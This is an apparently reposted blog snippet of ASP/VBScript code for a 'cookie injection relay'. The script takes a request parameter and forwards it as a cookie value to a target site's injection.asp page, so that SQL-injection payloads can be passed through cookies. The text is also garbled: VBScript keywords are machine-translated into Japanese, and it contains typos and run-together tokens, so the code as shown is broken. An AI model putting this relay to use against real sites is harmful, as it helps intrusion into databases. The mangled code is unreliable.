来源：职业欠钱＆zj1244共用的publicblog
复制代码代码如下：
<％
str = "xxxid ="＆escase（request（ "fk"））
url = "http://xxx.chinaxxx.com/injection.asp"
respons.writepostdata（url、str）
functionpostdata（posturl、postcok）
dimhttp
sethttp = server.createobject（ "msxml2.serverxmlhttp"）
withhttp
.open "get"、posturl、false
.setRequestheader "Cookie"、Postcok
。送信
postdata = .ResponseBody
終わりに
sethttp =何もない
postdata = bytes2bstr（postdata）
エンド機能
functionbytes2bstr（vin）
dimstrreturn
Dimi、このCharcode、Next Charcode
strreturn = ""
fori = 1tolenb（vin）
thischarcode = ascb（midb（vin、i、1））
ifthischarcode <＆h80then
strreturn = strreturn＆chr（thischarcode）
それ以外
NextCharcode = ascb（midb（vin、i+1,1））
strreturn = strreturn＆chr（clng（thischarcode）*＆h100+cint（nextcharcode）））
i = i+1
endif
次
bytes2bstr = strreturn
エンド機能
％>